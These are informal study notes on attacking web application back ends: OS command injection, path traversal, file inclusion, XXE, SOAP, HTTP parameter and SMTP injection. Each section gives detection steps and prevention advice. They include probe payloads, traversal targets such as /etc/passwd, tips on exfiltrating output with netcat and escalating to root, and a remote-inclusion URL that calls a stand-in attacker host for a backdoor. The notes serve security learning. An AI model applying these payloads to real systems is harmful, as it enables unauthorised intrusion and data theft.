Attacking Back-End Components

- Injecting OS Commands

→ Many servers have APIs that instruct actions to the server, but developer may prefer to issue direct system commands as they provide a quick and functional solution.

→ But passing user input to these interfaces ccan result in OS command injection. They prevail inares such as firewalls, printers and routers.

→ Common exploits include using batch operators such as | and & to combine existing commands to the commands issued by the attacker.

→ Injecting through Dynamic Execution

⇒ Some application use dynamic execution of code generated at runtime.

⇒ This feature can be hijacked to execute arbitrary command issued by the attacker.

→ **Finding OS Command Injection Flaws**

⇒ From your recon phase, select all functionalities that access filesystems and possibly issue system commands.

⇒ Probe every parameter in these requests. Including body params and cookies.

⇒ Never make assumptions about the app'shandling of metacharacters.

⇒ Two broad types of metacharacters may be used to inject a separate command

- The characters ; | & and newline may be used to batch commands. You can also try doubling up such as, && and || to execute commands controlled in a boolean fashion.
- The backtick `` can be used to inject a subcommand. Hence replacing the subcommand with its results in the main OS command.

****

HACK STEPS:

⇒ You can normally use ping command to induce a ping delay.

- Ex:ping -i 30 127.0.0.01; x

⇒ If time delay occurs the app may be vulnerable

⇒ Try injecting more commands such as ls or dir.

⇒ If unable to retrieve directly,Try using TFTP, netcat or SMTP

⇒ Try saving output to webroot and retrieve from the browser

⇒ Check privs and if needed, escalate to root.

****

⇒ In some case, it maynot be possible to inject and entirely separate command due to filtering. But it still may be possible to intefere with the behaviour of the app.

⇒ Ex: App passes input to nslookup but commands are filtered.But edirection character > is allowed.

⇒ Pass a script to the command and then redirect it to afile in webroot. Access the file from browser to execute the script.

→ **Finding Dynamic Execution Vulnerabilties**

⇒ Mostly occurs in PHP and Perl but is is potentially present in apps that pass input to any script-based interpreter.

****

HACK STEPS

⇒ Identify all user input and inject ;echo%20111111 echo%20111111 reponse.write%2011111 :response.write%2011111

⇒ If you see 11111 displayed without the preceding command string, it is likely vulnerable

⇒ If not check for error and modify the payload. In PHP try phpinfo().→ Returns info about the system

⇒ If it appears to be vulnerable, you can use a ping command

◇ system('ping%20 127.0.0.1')

****

- Preventing OS Command Injection

→ Best way, avoid calling out directly to OS commands.

→ Any task can be achieved by APIs

→ If it is unavoidable to embed user data into commands, then strings should be pass through a rigorous defence first.

→ If possible enforce a whitelist and a narrow character space. Other inputs should be rejected.

- Manipulating File Paths

→ Many types of functionality involves processing user input as file or dir names.

→ If user input is improprerly calidated, then this behaviou can lead to path traversal and file inclusion vulns.

→ Path Traversal Vulnerabilities

⇒ These vulns arise when apps use user input to access files. By submitting crafted input, an attacker can access content that is restricted. This ultimately enables the attacker to achieve arbitrary command execution.

⇒ **Finding and Exploiting Path Traversal Vulns**

• If a path traversal vuln exists it may allow the attacker to access ensitive files and edit them. Ultimately allowing the user to compromise the app and the server.

• Locating Targets for attack
  ◇ From the recon (Mapping the application), identify all places a file is accessed.
  ◇ Any fucntionality whose sole purpose is uploading and downloading files must be tested.

• Detecting Path Traversal Vulnerabilties
  ◇ Having identified the various potential targets, you need to test every instance individually.
  ◇ First start with access that doesnt involve stepping out of the directory.
    ▪ Ex:
      - If web app uses file=foo/file.txt
      - Try using file=foo/bar/../file.txt
      - If behaviour is unchanged in the two cases the the app might be vulnerable
      - Else the appp might be sanitizing input.
      - Try examining different cases to circumvent it
  ◇ Try accessing either /etc/passwd or /windows/win.ini

• Circumventing Obstacles
  ◇ Use both forward and backward slashes.
  ◇ Try to URL encode , dots and forward slash, back slash
  ◇ Try using 16-bit Unicode, dot forward slash backlash
  ◇ Try Double Encoding dot, forward slash, backlash
  ◇ Try overlong UTF-8 Unicode encoding for dots and forwards slashes and blackslash

- Exploiting Traversal Vulns
  - ◇ You can exploit read access to retrieve interesting files
    - ▪ Password files for os and app
    - ▪ Server and app config files
    - ▪ Credential files
    - ▪ Data sources such as MySQL and XML

- Preventing Path Traversal Vulnerabilities
  - ◇ By far the most efefctive way is to avoid passing user-submitted data to any filesystem API.
  - ◇ In apps where uploading and downloading files is commonplace, the filename should be passed to filesystem APIs.
    - ▪ Check for path traversal strings / \ .. %00 etc. If encountered stop processing the request
    - ▪ Permissible filetypes only

- File Inclusion Vulnerabilities

→ Remote File Inclusion

⇒ PHP is partucularly suscepible to file inclusion vulnerabilities, because it can accept remote paths.

⇒ Grants the ability to include malicious files that attacker owns on his server.

- Ex: https://wahh-app.com/main.php?Country=US
- In the Country param, you include a remote file,
- http://ww38.wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor
- Hence the attacker is able to include scripts that can cause harm to the infra and users

→ Local File Inclusion

⇒ Grants the attacker the ability to call include and call scripts and file on the local system.

⇒ Using this, the attacker can access functionality that maybe be previously restricted

→ **Finding File Inclusions**

⇒ Occurs when a name of a server-side file is pased explicity as a parameter

⇒ Find the parameter and determine whether it is used to includelocal or remote files.

⇒ Based on your finding, craft a payload and start testing

- Injecting into XML interpreters

→ XML is extensively used in requests and reponses and also communication between back end services such as SOAP.

→ **Injecting XML External Entities**

⇒ Used in apps to submit data from client to server and also in responsed fromserver to app.

⇒ XML files are commonly used in Ajax-Based apps where async requests are used.

⇒ Wherever you notice xml being rendered try using external entities to fetch data.

⇒ This can be done by referencing external entitites using DOCTYPE which replaces the defined entity with the values defined for it.

⇒ Try and use protocols such as file: and http: to escalate your attack

⇒ This technique may allow attackers to

- Use the app as a proxy to retrieve sensitive content from any web server reachable within the ineternal network.
- Exploit vulns on back-end apps provided they are explited using the URL
- Can be used to cause a Denial of Service by reading a file indefinetly.

→ **Injecting into SOAP services**

⇒ Simple Object Access Protocol sia a message based comm. technology thats uses XML format to encapsulate data.

⇒ Often used in back-end application components

⇒ Since SOAP uses XML, if data is directly inserted into the message this might cause a vuln

→ **Finding and exploiting SOAP Injection**

⇒ Try inserting some rogue XML like </foo> if no error occurs either its not vulnerable or it is being santizied.

⇒ Else, submit a valid pair <foo></foo>, if the error disappears, then the app may be vulnerable

⇒ Observe the returned values to confirm the app's vuln

⇒ Try commenting out parts of the message to chaneg the app's behaviour

→ **Preventing SOAP Injection**

⇒ Provide boundary validation filters

⇒ HTML encode all characters. Ex : < > / etc

- Injecting into Back-end HTTP Requests

→ Apps may embed user input into some back-end HTTP request.

→ This behaviour is vulnerable to attack in the follow ways,

⇒ Server-side HTTP redirection :

- Allows an attacker to specify an arbitrary resource or URL that is requested by the front end app

⇒ HTTP parameter injection (HPI)

- Attacks allow an attacker to inject abitrary parameters into a back-end HTTP request made by the application server. By injecting already present params, HPP (HTTP Parameter pollution) can be invoked.

→ **Server-side HTTP Redirection**

⇒ Occurs when user input in embeded into a URL that it retrives using a backend HTTP request.

⇒ The user supplied input may compromise the URL.

⇒ An attacker may exploit server side HTTP redirects by,

- Using the app as a proxy to attack other hosts on the internet.
- Exploit the internal network
- Exploit other services on the server, circumventing firewall services
- The app could be used as a vector for cross-site scripting

→ HTTP Parameter Injection

⇒ HPI arises when user supplied params are used as params in a back-end HTTP request.

⇒ Injecting params that control the logic of the application can lead to a vuln.

⇒ But good knowledge of the back-end params used by the back-end components are to be known before hand.

→ **HTTP Parameter Injection**

⇒ HPP exploits the behaviour of server apps to pollute the already present params in the request.

⇒ This depends on whether the app uses

- The first instance of param
- The last instance of param
- Concatenate the param values, can be bypassed by separators
- Constructing arrays from values provided.

⇒ HPP can be used to override the value of the original param.

→ **Email Header Manipulation**

⇒ Manipulation of email forms that are backed by PHP can enable an attacker to send arbitrary emails by injecting payloads in to the mail() function's params.

→ **SMTP Command Injection**

⇒ Injection SMTP Command can enable you to use the app as a proxy to send arbitrary emails.

⇒ Finding SMTP Injection Flaws

- Probe every email param
- Try to inject from and to and data params

⇒ Prevention

- Rigourous validation of user-supplied data thats is passed to email function.
- Email address shoulde be checked against a regular expression
- Message subject shouldnt contain newline characters and limited to suitable length.
- If contents of a message are being used directly in an SMTP conversation, lines containing single dotts should be disallowed.